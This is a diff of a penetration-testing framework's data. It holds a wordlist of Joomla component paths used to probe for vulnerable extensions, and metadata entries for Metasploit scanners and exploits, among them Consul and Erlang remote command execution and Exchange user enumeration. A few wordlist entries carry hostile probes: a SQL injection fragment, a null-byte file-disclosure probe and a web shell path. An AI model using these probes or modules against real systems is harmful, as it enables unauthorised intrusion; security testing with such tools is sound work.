+components/com_jcart/ components/com_jce/ +components/com_jcollection/ +components/com_jcomments/ +components/com_jcommunity/ +components/com_jcruisereservation/ components/com_jcs/ components/com_jd-wiki/ components/com_jd-wp/ +components/com_jdbexport/ +components/com_jdirectory/ +components/com_jdownloads/ +components/com_jdrugstopics/ +components/com_jeajaxeventcalendar/ +components/com_jeauction/ +components/com_jeauto/ +components/com_jeawdsong/ +components/com_jeclassifieds/ +components/com_jeclassifyads/ +components/com_jedirectory/ +components/com_jeemaarticlecollection/ +components/com_jeemasms/ +components/com_jeeventcalendar/ +components/com_jefaqpro/ +components/com_jeformcr/ +components/com_jegallery/ +components/com_jegridfolio/ +components/com_jeguestbook/ +components/com_jejob/ +components/com_jek2storymultipleform/ +components/com_jem/ +components/com_jembedall/ +components/com_jemediaplayer/ +components/com_jemembership/ +components/com_jemessenger/ +components/com_jepaypervideo/ +components/com_jepoll/ +components/com_jeportfolio/ +components/com_jepropertyfinder/ +components/com_jequestions/ +components/com_jequizmanagement/ +components/com_jequoteform/ +components/com_jereverseauction/ +components/com_jesectionfinder/ +components/com_jesubmit/ +components/com_jetext/ +components/com_jeticket/ +components/com_jetour/ +components/com_jeux/ +components/com_jevideogallery/ +components/com_jevideorate/ +components/com_jfbconnect/ +components/com_jfeedback/ +components/com_jfuploader/ +components/com_jfusion/ +components/com_jgen/ +components/com_jgive/ +components/com_jgrid/ +components/com_jhotelreservation/ +components/com_jigsaw/ components/com_jim/ +components/com_jimtawl/ +components/com_jinc/ +components/com_jinventory/ components/com_jjgallery/ +components/com_jlike/ +components/com_jlord_rss/ +components/com_jmarket/ components/com_jmovies/ +components/com_jmsfileseller/ +components/com_jmsmusic/ +components/com_jnews/ +components/com_jnewsletter/ +components/com_jnewspaper/ +components/com_joaktree/ +components/com_job/ +components/com_jobads/ +components/com_jobgrokapp/ +components/com_jobgroklist/ components/com_jobline/ +components/com_jobprofile/ +components/com_jofacebookgallery/ +components/com_joltcard/ components/com_jombib/ +components/com_jomcomdev/ +components/com_jomdirectory/ +components/com_jomestate/ +components/com_jomholiday/ +components/com_jomres/ +components/com_jomtube/ components/com_joobb/ +components/com_joodb/ components/com_jooget/ components/com_joom12pic/ +components/com_joomanager/ +components/com_joomblog/ +components/com_joomclip/ +components/com_joomdle/ +components/com_joomdoc/ +components/com_joomdocs/ +components/com_joomgalaxy/ +components/com_joomgallery&func/ +components/com_joomgallery/ +components/com_joominaflileselling/ components/com_joomla-visites/ +components/com_joomla/ components/com_joomla_flash_uploader/ components/com_joomlaboard/ +components/com_joomlaconnect_be/ +components/com_joomladate/ components/com_joomladate/ components/com_joomlaflashfun/ +components/com_joomlaflickr/ components/com_joomlalib/ +components/com_joomlapicasa2/ +components/com_joomlaquiz/ components/com_joomlaradiov5/ +components/com_joomlaupdate/ +components/com_joomlaupdater/ components/com_joomlavvz/ components/com_joomlaxplorer/ components/com_joomloads/ +components/com_joomloc/ +components/com_joomlub/ +components/com_joommail/ +components/com_joomnik/ +components/com_joomportfolio/ components/com_joomradio/ +components/com_joomrecipe/ +components/com_joomsport/ +components/com_joomtouch/ components/com_joomtracker/ +components/com_jooproperty/ components/com_joovideo/ components/com_jotloader/ components/com_journal/ +components/com_jp_jobs/ components/com_jpack/ components/com_jpad/ +components/com_jphone/ +components/com_jphoto/ +components/com_jpodium/ +components/com_jprojectmanager/ +components/com_jquarks4s/ +components/com_jquickcontact/ +components/com_jr_tfb/ +components/com_jradio/ components/com_jreactions/ +components/com_jresearch/ +components/com_jreservation/ +components/com_jreviews/ components/com_jreviews/scripts/xajax.inc.php +components/com_jsautoz/ +components/com_jscalendar/ +components/com_jshop/ +components/com_jsjobs/ +components/com_jsplocation/ +components/com_jsptickets/ +components/com_jssupportticket/ +components/com_jstore/ +components/com_jsubscription/ +components/com_jsupport/ +components/com_jtagcalendar / +components/com_jtagcalendar/ +components/com_jtagmembersdirectory/ +components/com_jtagminicart/ +components/com_jticketing/ +components/com_jtickets/ +components/com_jtips/ +components/com_jtm/ +components/com_juicy/ +components/com_jukebox/ +components/com_juliaportfolio/ components/com_jumi/ components/com_juser/ +components/com_jux_eventon/ +components/com_jux_real_estate/ +components/com_jvcomment/ +components/com_jvehicles/ components/com_jvideo/ +components/com_jvideoclip/ +components/com_jvideodirect/ +components/com_jvotesystem/ +components/com_jw_allvideos/ +components/com_jwhmcs/ +components/com_jwmmxtd/ components/com_k2/ +components/com_k2ajaxsearch/ +components/com_k2store/ components/com_kbase/ +components/com_king/ +components/com_kissgallery/ +components/com_kk/ +components/com_kkcontent/ +components/com_knowledgebase/ components/com_knowledgebase/fckeditor/fckeditor.js components/com_kochsuite / +components/com_kochsuite/ +components/com_komento/ +components/com_konsultasi/ +components/com_kp/ +components/com_ksadvertiser/ components/com_kunena/ +components/com_kunena_google_map_no_geocode/ +components/com_lead/ +components/com_leader/ components/com_letterman/ components/com_lexikon/ +components/com_libros/ components/com_linkdirectory/ +components/com_linkr/ +components/com_listbingo/ +components/com_listing/ components/com_listoffreeads/ +components/com_livechat/ components/com_livechat/getSavedChatRooms.php components/com_livechat/xmlhttp.php components/com_liveticker/ components/com_lm/ components/com_lmo/ +components/com_lms/ +components/com_lmsking/ +components/com_loginbox/ +components/com_loudmounth/ components/com_loudmounth/includes/abbc/abbc.class.php components/com_loudmouth/ +components/com_lovefactory/ components/com_lowcosthotels/ +components/com_lucygames/ +components/com_lurm/ components/com_lurm_constructor/admin.lurm_constructor.php +components/com_lyftenbloggie/ +components/com_macgallery/ +components/com_machine/ components/com_mad4joomla/ +components/com_madeira/ components/com_madeira/img.php +components/com_magazine/ +components/com_magazine_3_0_1/ +components/com_magicdealsweb/ +components/com_maian15/ +components/com_maianmedia/ components/com_maianmusic/ components/com_mailarchive/ components/com_mailto/ +components/com_mambatstaff/ components/com_mambatstaff/mambatstaff.php components/com_mambelfish/ components/com_mambospgm/ +components/com_mambowiki/ components/com_mambowiki/MamboLogin.php +components/com_manager/ +components/com_maplocator/ +components/com_maqmahelpdesk/ +components/com_market/ components/com_marketplace/ +components/com_markt/ +components/com_masterforms/ +components/com_matamko/ components/com_mcquiz/ components/com_mdigg/ +components/com_media/ components/com_media_library/ +components/com_mediaalert/ +components/com_medialibrary/ +components/com_mediamall/ components/com_mediaslide/ +components/com_mediqna/ +components/com_memorix/ +components/com_memory/ +components/com_memorybook/ +components/com_menu/ components/com_mezun/ components/com_mgm/ components/com_minibb/ components/com_misterestate/ +components/com_mmp/ components/com_mmp/help.mmp.php +components/com_mmsblog/ +components/com_mochigames/ +components/com_mod_dvfoldercontent/ components/com_model/ +components/com_modern_booking/ +components/com_mojo/ +components/com_monthlyarchive/ +components/com_moodle/ components/com_moodle/moodle.php components/com_moofaq/ +components/com_morfeoshow/ +components/com_mosets/ +components/com_mosforms/ components/com_mosmedia/ +components/com_mospray/ components/com_mospray/scripts/admin.php components/com_mosres/ components/com_most/ +components/com_mostwantedrealestate/ +components/com_motor/ +components/com_movm/ +components/com_mp3/ components/com_mp3_allopass/ +components/com_mscomment/ +components/com_mtfireeagle/ components/com_mtree/ components/com_mtree/img/listings/o/{id}.php +components/com_mtree/img/listings/o/{id}.php where {id} +components/com_multibanners/ components/com_multibanners/extadminmenus.class.php +components/com_multimap/ +components/com_multiroot/ +components/com_multitier/ +components/com_muscol/ +components/com_music/ +components/com_musicgallery/ +components/com_mv_restaurantmenumanager/ components/com_myalbum/ +components/com_myblog/ +components/com_mycar/ components/com_mycontent/ components/com_mydyngallery/ +components/com_myfiles/ +components/com_myform/ components/com_mygallery/ +components/com_myhome/ +components/com_mymsg/ +components/com_myportfolio/ +components/com_myproject/ +components/com_mysms/ +components/com_mytube/ components/com_n-forms/ +components/com_na/ components/com_na_content/ components/com_na_mydocs/ components/com_na_newsdescription/ components/com_na_qforms/ +components/com_nbreal/ components/com_neogallery/ components/com_neorecruit/ components/com_neoreferences/ components/com_netinvoice/ +components/com_network/ components/com_news/ components/com_news_portal/ +components/com_newsfeeds/ components/com_newsflash/ +components/com_newssearch/ +components/com_nfn/ components/com_nfn_addressbook/ +components/com_nfnaddressbook/ +components/com_nge/ +components/com_niceajaxpoll/ components/com_nicetalk/ +components/com_ninjamonial/ +components/com_ninjamonials/ +components/com_nkc/ +components/com_noticeboard/ +components/com_noticia/ components/com_noticias/ +components/com_novasfh/ +components/com_ns_downloadshop/ +components/com_ob/ +components/com_obSuggest/ +components/com_obsuggest/ +components/com_odudeprofile/ components/com_omnirealestate/ components/com_omphotogallery/ +components/com_onevote/ +components/com_ongallery/ components/com_ongumatimesheet20/ +components/com_onismusic / +components/com_onismusic/ +components/com_onispetitions/ +components/com_onisquotes/ +components/com_onlineexam/ components/com_onlineflashquiz/ +components/com_opencart/ +components/com_oprykningspoint_mc/ +components/com_ops/ +components/com_org/ +components/com_orgchart/ +components/com_ornekek/ +components/com_os_cck/ +components/com_osdownloads/ +components/com_osproperty/ +components/com_osservicesbooking/ +components/com_otzivi/ components/com_ownbiblio/ +components/com_oziogallery/ +components/com_oziogallery2/ +components/com_packages/ +components/com_pandafminigames/ components/com_panoramic/ +components/com_parcoauto/ +components/com_party/ components/com_paxgallery/ components/com_paxxgallery/ +components/com_payage/ +components/com_payplans/ +components/com_pazzari_vm3/ +components/com_pbbooking/ +components/com_pc/ components/com_pcchess/ components/com_pcchess/include.pcchess.php components/com_pccookbook/ components/com_pccookbook/pccookbook.php +components/com_people/ +components/com_peoplebook/ components/com_peoplebook/param.peoplebook.php +components/com_perchagallery/ +components/com_perchaimageattach/ components/com_performs/ +components/com_personal/ components/com_philaform/ components/com_phocadocumentation/ +components/com_phocadownload/ +components/com_phocagallery/ +components/com_phocamaps/ +components/com_photo/ +components/com_photobattle/ +components/com_photoblog/ +components/com_photocontest/ +components/com_photomapgallery/ components/com_php/ +components/com_phpbridge/ +components/com_phpshop/ components/com_phpshop/toolbar.phpshop.html.php +components/com_picasa2gallery/ +components/com_picsell/ components/com_pinboard/ components/com_pms/ +components/com_pofos/ components/com_poll/ components/com_pollxt/ components/com_ponygallery/ components/com_portafolio/ components/com_portfol/ +components/com_portfolio/ +components/com_portfoliogallery/ +components/com_poweradmin/ +components/com_powermail/ components/com_prayercenter/ +components/com_press/ +components/com_pressrelease/ +components/com_preventive/ +components/com_price_alert/ +components/com_prime/ +components/com_pro/ components/com_pro_desk/ components/com_prod/ +components/com_product/ +components/com_product_modul/ +components/com_productbook/ +components/com_products/ components/com_productshowcase/ +components/com_profile/ components/com_profiler/ components/com_projectfork/ +components/com_projectlog/ +components/com_projects/ +components/com_proofreader/ +components/com_properties/ components/com_propertylab/ components/com_puarcade/ components/com_publication/ +components/com_publisher/ +components/com_qcontacts/ +components/com_qpersonel/ +components/com_question/ +components/com_quickfaq/ +components/com_quicknews/ components/com_quiz/ +components/com_quran/ +components/com_races/ +components/com_radio/ +components/com_rand/ +components/com_ranking/ components/com_rapidrecipe/ +components/com_rd_download/ components/com_rdautos/ components/com_realestatemanager/ +components/com_realpin/ +components/com_realtyna/ +components/com_recerca/ +components/com_recipe/ components/com_recly/ +components/com_record/ +components/com_redshop/ +components/com_redtwitter/ components/com_referenzen/ +components/com_registration/ +components/com_registrationpro/ components/com_rekry/ +components/com_remository/ components/com_remository/admin.remository.php components/com_remository_files/file_image_14/1276100016shell.php +components/com_reporter/ components/com_reporter/processor/reporter.sql.php +components/com_reservations/ components/com_resman/ components/com_restaurante/ +components/com_restaurantguide/ components/com_ricette/ +components/com_rokcandy/ +components/com_rokdownloads/ +components/com_rokmodule/ +components/com_roommgmt/ +components/com_route/ +components/com_rpl/ +components/com_rpx/ +components/com_rsappt_pro2/ +components/com_rsappt_pro3/ +components/com_rsbook_15/ +components/com_rscomments/ components/com_rsfiles/ +components/com_rsform/ components/com_rsgallery/ components/com_rsgallery2/ +components/com_rsmonials/ components/com_rss/ components/com_rssreader/ components/com_rssxt/ components/com_rwcards/ +components/com_s5_media_player/ +components/com_s5clanroster/ +components/com_salesrep/ +components/com_sanpham/ +components/com_sar_news/ +components/com_saxumastro/ +components/com_saxumnumerology/ +components/com_saxumpicker/ +components/com_sbsfile/ +components/com_scheduling/ components/com_school/ +components/com_schools/ +components/com_science/ components/com_search/ +components/com_searchlog/ +components/com_sebercart/ components/com_sebercart/getPic.php?p=[LFD]%00 +components/com_sectionex/ components/com_securityimages/ +components/com_seek/ components/com_sef/ components/com_seminar/ +components/com_serie/ +components/com_sermon/ +components/com_sermonspeaker/ +components/com_serverstat/ components/com_serverstat/install.serverstat.php +components/com_sexypolling/ +components/com_seyret/ components/com_sg/ +components/com_sgicatalog/ +components/com_shop/ +components/com_shoutbox/ +components/com_showdown/ +components/com_siirler/ +components/com_simgenealogy/ +components/com_simple/ components/com_simple_review/ components/com_simpleboard/ +components/com_simplecalendar/ +components/com_simpledownload/ components/com_simplefaq/ +components/com_simpleimageupload/ +components/com_simplemembership/ +components/com_simplephotogallery/ components/com_simpleshop/ +components/com_simpleswfupload/ +components/com_sitemap/ components/com_sitemap/sitemap.xml.php +components/com_slider/ components/com_slideshow/ +components/com_smartseller/ +components/com_smartshoutbox/ +components/com_smartsite/ +components/com_smestorage/ components/com_smf/ components/com_smf/smf.php +components/com_smslist/ +components/com_sobi2/ +components/com_soccerbet/ +components/com_socialads/ +components/com_socialpinboard/ +components/com_software/ +components/com_solidres/ +components/com_solution/ +components/com_some/ +components/com_soundset/ +components/com_spa/ +components/com_spain/ +components/com_spec/ +components/com_spidercalendar/ +components/com_spidercatalog/ +components/com_spiderfacebook/ +components/com_spiderfaq/ +components/com_spielothek/ +components/com_spmoviedb/ +components/com_sponsorwall/ +components/com_sportfusion/ +components/com_sportspredictions/ +components/com_spsnewsletter/ +components/com_sqlreport/ +components/com_squadmanagement/ +components/com_staffmaster/ +components/com_start/ +components/com_staticxt/ +components/com_store/ +components/com_storedirectory/ +components/com_streetguess/ +components/com_surveyforce/ +components/com_surveymanager/ +components/com_svmap/ +components/com_sweetykeeper/ +components/com_swmenufree4/ components/com_swmenupro/ +components/com_szallasok/ +components/com_tag/ +components/com_tariff/ +components/com_tax/ +components/com_teacher/ components/com_team/ +components/com_teamdisplay/ +components/com_teams/ +components/com_tech/ components/com_tech_article/ +components/com_techfolio/ +components/com_television/ components/com_thopper/ +components/com_threate/ components/com_thyme/ +components/com_ticketbook/ components/com_tickets/ +components/com_tienda/ +components/com_timereturns/ +components/com_timetable/ +components/com_timetrack/ components/com_tophotelmodule/ +components/com_topics/ +components/com_topmenu/ +components/com_tour/ components/com_tour_toto/ +components/com_tpdugg/ +components/com_tpjobs/ +components/com_trabalhe_conosco/ components/com_trade/ +components/com_trading/ +components/com_travelbook/ +components/com_tree/ +components/com_treeg/ +components/com_tsonymf/ +components/com_ttvideo/ +components/com_tupinambis/ +components/com_turtushout/ +components/com_tweetla/ +components/com_twitchtv/ components/com_uhp/ components/com_uhp2/ +components/com_ultimateportfolio/ +components/com_uniterevolution2/ +components/com_units/ +components/com_universal/ +components/com_upl/ +components/com_user/ components/com_user/controller.php +components/com_userbench/ +components/com_userextranet/ components/com_users/ +components/com_userstatus/ +components/com_utchat/ components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php components/com_vehiclemanager/ components/com_versioning / +components/com_versioning/ +components/com_videodb/ components/com_videodb/core/videodb.class.xml.php +components/com_videoflow/ +components/com_videogallery/ +components/com_videogallerylite/ +components/com_videos/ +components/com_videowhisper_2wvc/ +components/com_vikappointments/ +components/com_vikbooking/ +components/com_vikrealestate/ +components/com_vikrentcar/ +components/com_vikrentitems/ +components/com_virtualmoney/ components/com_virtuemart/ +components/com_visa/ +components/com_visualcalendar/ +components/com_vjdeo/ +components/com_vmap/ +components/com_voj/ components/com_volunteer/ components/com_vr/ +components/com_vxdate/ +components/com_wallpapers/ components/com_waticketsystem/ +components/com_wddownload/ +components/com_wdsubscriptions/ +components/com_webeecomment/ +components/com_weberpcustomer/ components/com_webhosting/ components/com_weblinks/ components/com_webring/ +components/com_webtv/ +components/com_wgpicasa/ +components/com_wines/ +components/com_wire_immogest/ +components/com_wisroyq/ +components/com_wmi/ +components/com_wmt_content_timeline/ components/com_wmtgallery/ +components/com_wmtpic/ components/com_wmtportfolio/ +components/com_wmtrssreader/ +components/com_worldrates/ +components/com_wrapper/ components/com_x-shop/ +components/com_xball/ +components/com_xcloner-backupandrestore/ +components/com_xcomp/ +components/com_xeslidegalfx/ components/com_xevidmegahd/ components/com_xewebtv/ components/com_xfaq/ +components/com_xgallery/ components/com_xgallery/helpers/img.php?file= +components/com_xmap/ +components/com_xmovie/ +components/com_xobbix/ components/com_xsstream-dm/ +components/com_xvs/ +components/com_yanc/ +components/com_ybggal/ +components/com_yellowpages/ +components/com_yelp/ +components/com_yjcontactus/ components/com_ynews/ +components/com_youtube/ +components/com_youtubegallery/ components/com_yvcomment/ +components/com_zcalendar/ +components/com_zelig/ +components/com_zhbaidumap/ +components/com_zhgooglemap/ +components/com_zhyandexmap/ +components/com_zimbcomment/ +components/com_zimbcore/ +components/com_zina/ +components/com_zoom/ components/com_zoom/classes/ +components/com_zoomportfolio/ +components/com_ztautolink/ +components/icom_nvitex/ components/mod_letterman/ components/remository/ eXtplorer/ easyblog/entry/uncategorized extplorer/ -components/com_mtree/img/listings/o/{id}.php where {id} includes/joomla.php index.php/404' index.php/?option=com_question&catID=21' and+1=0 union all diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 6e42b3250294..0020b1c09543 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -30179,6 +30179,43 @@ "notes": { } }, + "auxiliary_scanner/misc/java_jmx_server": { + "name": "Java JMX Server Insecure Endpoint Code Execution Scanner", + "full_name": "auxiliary/scanner/misc/java_jmx_server", + "rank": 300, + "disclosure_date": "2013-05-22", + "type": "auxiliary", + "author": [ + "rocktheboat" + ], + "description": "Detect Java JMX endpoints", + "references": [ + "URL-https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf", + "URL-https://www.optiv.com/blog/exploiting-jmx-rmi", + "CVE-2015-2342" + ], + "is_server": false, + "is_client": false, + "platform": "Java", + "arch": "", + "rport": 1099, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2018-12-19 12:56:53 +0000", + "path": "/modules/auxiliary/scanner/misc/java_jmx_server.rb", + "is_install_path": true, + "ref_name": "scanner/misc/java_jmx_server", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + } + }, "auxiliary_scanner/misc/java_rmi_server": { "name": "Java RMI Server Insecure Endpoint Code Execution Scanner", "full_name": "auxiliary/scanner/misc/java_rmi_server", @@ -30656,6 +30693,129 @@ "notes": { } }, + "auxiliary_scanner/msmail/exchange_enum": { + "name": "Exchange email enumeration", + "full_name": "auxiliary/scanner/msmail/exchange_enum", + "rank": 300, + "disclosure_date": "2018-11-06", + "type": "auxiliary", + "author": [ + "poptart", + "jlarose", + "Vincent Yiu", + "grimhacker", + "Nate Power", + "Nick Powers", + "clee-r7" + ], + "description": "Error-based user enumeration for Office 365 integrated email addresses", + "references": [ + + ], + "is_server": false, + "is_client": false, + "platform": "", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2018-12-07 13:29:56 +0000", + "path": "/modules/auxiliary/scanner/msmail/exchange_enum.go", + "is_install_path": true, + "ref_name": "scanner/msmail/exchange_enum", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + } + }, + "auxiliary_scanner/msmail/host_id": { + "name": "Vulnerable domain identification", + "full_name": "auxiliary/scanner/msmail/host_id", + "rank": 300, + "disclosure_date": "2018-11-06", + "type": "auxiliary", + "author": [ + "poptart", + "jlarose", + "Vincent Yiu", + "grimhacker", + "Nate Power", + "Nick Powers", + "clee-r7" + ], + "description": "Identifying potentially vulnerable Exchange endpoints", + "references": [ + + ], + "is_server": false, + "is_client": false, + "platform": "", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2018-12-07 13:29:56 +0000", + "path": "/modules/auxiliary/scanner/msmail/host_id.go", + "is_install_path": true, + "ref_name": "scanner/msmail/host_id", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + } + }, + "auxiliary_scanner/msmail/onprem_enum": { + "name": "On premise user enumeration", + "full_name": "auxiliary/scanner/msmail/onprem_enum", + "rank": 300, + "disclosure_date": "2018-11-06", + "type": "auxiliary", + "author": [ + "poptart", + "jlarose", + "Vincent Yiu", + "grimhacker", + "Nate Power", + "Nick Powers", + "clee-r7" + ], + "description": "On premise enumeration of valid exchange users", + "references": [ + + ], + "is_server": false, + "is_client": false, + "platform": "", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2018-12-07 13:29:56 +0000", + "path": "/modules/auxiliary/scanner/msmail/onprem_enum.go", + "is_install_path": true, + "ref_name": "scanner/msmail/onprem_enum", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + } + }, "auxiliary_scanner/mssql/mssql_hashdump": { "name": "MSSQL Password Hashdump", "full_name": "auxiliary/scanner/mssql/mssql_hashdump", @@ -43121,7 +43281,8 @@ "type": "encoder", "author": [ "Julien Tinnes ", - "juan vazquez " + "juan vazquez ", + "Pedro Ribeiro " ], "description": "Mips Web server exploit friendly xor encoder. This encoder has been found useful on\n situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS\n architectures, this one is based on the xori instruction.", "references": [ @@ -43135,7 +43296,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-12-18 16:33:44 +0000", "path": "/modules/encoders/mipsbe/byte_xori.rb", "is_install_path": true, "ref_name": "mipsbe/byte_xori", @@ -43152,7 +43313,8 @@ "disclosure_date": null, "type": "encoder", "author": [ - "Julien Tinnes " + "Julien Tinnes ", + "Pedro Ribeiro " ], "description": "Mips Web server exploit friendly xor encoder", "references": [ @@ -43166,7 +43328,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-12-18 13:35:16 +0000", "path": "/modules/encoders/mipsbe/longxor.rb", "is_install_path": true, "ref_name": "mipsbe/longxor", @@ -43184,7 +43346,8 @@ "type": "encoder", "author": [ "Julien Tinnes ", - "juan vazquez " + "juan vazquez ", + "Pedro Ribeiro " ], "description": "Mips Web server exploit friendly xor encoder. This encoder has been found useful on\n situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS\n architectures, this one is based on the xori instruction.", "references": [ @@ -43198,7 +43361,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-12-18 16:30:47 +0000", "path": "/modules/encoders/mipsle/byte_xori.rb", "is_install_path": true, "ref_name": "mipsle/byte_xori", @@ -43215,7 +43378,8 @@ "disclosure_date": null, "type": "encoder", "author": [ - "Julien Tinnes " + "Julien Tinnes ", + "Pedro Ribeiro " ], "description": "Mips Web server exploit friendly xor encoder", "references": [ @@ -43229,7 +43393,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-12-18 15:48:29 +0000", "path": "/modules/encoders/mipsle/longxor.rb", "is_install_path": true, "ref_name": "mipsle/longxor", @@ -54631,13 +54795,14 @@ "type": "exploit", "author": [ "Jann Horn", - "Brendan Coles " + "Brendan Coles" ], - "description": "This module exploits a vulnerability in VMware Workstation Pro and\n Player on Linux which allows users to escalate their privileges by\n using an ALSA configuration file to load and execute a shared object\n as root when launching a virtual machine with an attached sound card.\n\n This module has been tested successfully on VMware Player version\n 12.5.0 on Debian Linux.", + "description": "This module exploits a vulnerability in VMware Workstation Pro and\n Player on Linux which allows users to escalate their privileges by\n using an ALSA configuration file to load and execute a shared object\n as root when launching a virtual machine with an attached sound card.\n\n This module has been tested successfully on VMware Player version\n 12.5.0 on Debian Linux 8 Jessie.", "references": [ "CVE-2017-4915", "EDB-42045", "BID-98566", + "URL-https://www.securitytracker.com/id/1038525", "URL-https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9", "URL-https://www.vmware.com/security/advisories/VMSA-2017-0009.html", "URL-https://bugs.chromium.org/p/project-zero/issues/detail?id=1142" @@ -54657,7 +54822,7 @@ "Linux x86", "Linux x64" ], - "mod_time": "2018-10-10 14:12:29 +0000", + "mod_time": "2018-12-17 08:01:34 +0000", "path": "/modules/exploits/linux/local/vmware_alsa_config.rb", "is_install_path": true, "ref_name": "linux/local/vmware_alsa_config", @@ -69121,6 +69286,146 @@ "notes": { } }, + "exploit_multi/misc/consul_rexec_exec": { + "name": "Hashicorp Consul Remote Command Execution via Rexec", + "full_name": "exploit/multi/misc/consul_rexec_exec", + "rank": 600, + "disclosure_date": "2018-08-11", + "type": "exploit", + "author": [ + "Bharadwaj Machiraju ", + "Francis Alexander ", + "Quentin Kaiser " + ], + "description": "This module exploits a feature of Hashicorp Consul named rexec.", + "references": [ + "URL-https://www.consul.io/docs/agent/options.html#disable_remote_exec", + "URL-https://www.consul.io/docs/commands/exec.html", + "URL-https://github.com/torque59/Garfield" + ], + "is_server": false, + "is_client": false, + "platform": "Linux", + "arch": "", + "rport": 8500, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux" + ], + "mod_time": "2018-12-24 13:48:07 +0000", + "path": "/modules/exploits/multi/misc/consul_rexec_exec.rb", + "is_install_path": true, + "ref_name": "multi/misc/consul_rexec_exec", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + } + }, + "exploit_multi/misc/consul_service_exec": { + "name": "Hashicorp Consul Remote Command Execution via Services API", + "full_name": "exploit/multi/misc/consul_service_exec", + "rank": 600, + "disclosure_date": "2018-08-11", + "type": "exploit", + "author": [ + "Bharadwaj Machiraju ", + "Francis Alexander ", + "Quentin Kaiser " + ], + "description": "This module exploits Hashicorp Consul's services API to gain remote command\n execution on Consul nodes.", + "references": [ + "URL-https://www.consul.io/api/agent/service.html", + "URL-https://github.com/torque59/Garfield" + ], + "is_server": false, + "is_client": false, + "platform": "Linux", + "arch": "", + "rport": 8500, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux" + ], + "mod_time": "2018-12-24 13:30:03 +0000", + "path": "/modules/exploits/multi/misc/consul_service_exec.rb", + "is_install_path": true, + "ref_name": "multi/misc/consul_service_exec", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + } + }, + "exploit_multi/misc/erlang_cookie_rce": { + "name": "Erlang Port Mapper Daemon Cookie RCE", + "full_name": "exploit/multi/misc/erlang_cookie_rce", + "rank": 500, + "disclosure_date": "2009-11-20", + "type": "exploit", + "author": [ + "Daniel Mende", + "Milton Valencia (wetw0rk)" + ], + "description": "The erlang port mapper daemon is used to coordinate distributed erlang instances.\n Should an attacker get the authentication cookie RCE is trivial. Usually, this\n cookie is named \".erlang.cookie\" and varies on location.", + "references": [ + "URL-https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/" + ], + "is_server": false, + "is_client": false, + "platform": "", + "arch": "", + "rport": 25672, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Unix", + "Linux (CmdStager)", + "Windows", + "Windows (CmdStager)" + ], + "mod_time": "2018-12-21 07:33:37 +0000", + "path": "/modules/exploits/multi/misc/erlang_cookie_rce.rb", + "is_install_path": true, + "ref_name": "multi/misc/erlang_cookie_rce", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + } + }, "exploit_multi/misc/hp_data_protector_exec_integutil": { "name": "HP Data Protector EXEC_INTEGUTIL Remote Code Execution", "full_name": "exploit/multi/misc/hp_data_protector_exec_integutil", @@ -137100,7 +137405,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-04-27 14:18:54 +0000", + "mod_time": "2018-12-19 18:19:24 +0000", "path": "/modules/payloads/singles/python/meterpreter_bind_tcp.rb", "is_install_path": true, "ref_name": "python/meterpreter_bind_tcp", @@ -137131,7 +137436,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-04-27 14:18:54 +0000", + "mod_time": "2018-12-19 18:19:24 +0000", "path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "python/meterpreter_reverse_http", @@ -137162,7 +137467,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-04-27 14:18:54 +0000", + "mod_time": "2018-12-19 18:19:24 +0000", "path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "python/meterpreter_reverse_https", @@ -137193,7 +137498,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-04-27 14:18:54 +0000", + "mod_time": "2018-12-19 18:19:24 +0000", "path": "/modules/payloads/singles/python/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "python/meterpreter_reverse_tcp", @@ -138167,7 +138472,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2018-12-08 06:24:02 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_http", @@ -139192,7 +139497,7 @@ "autofilter_ports": null, "autofilter_services": 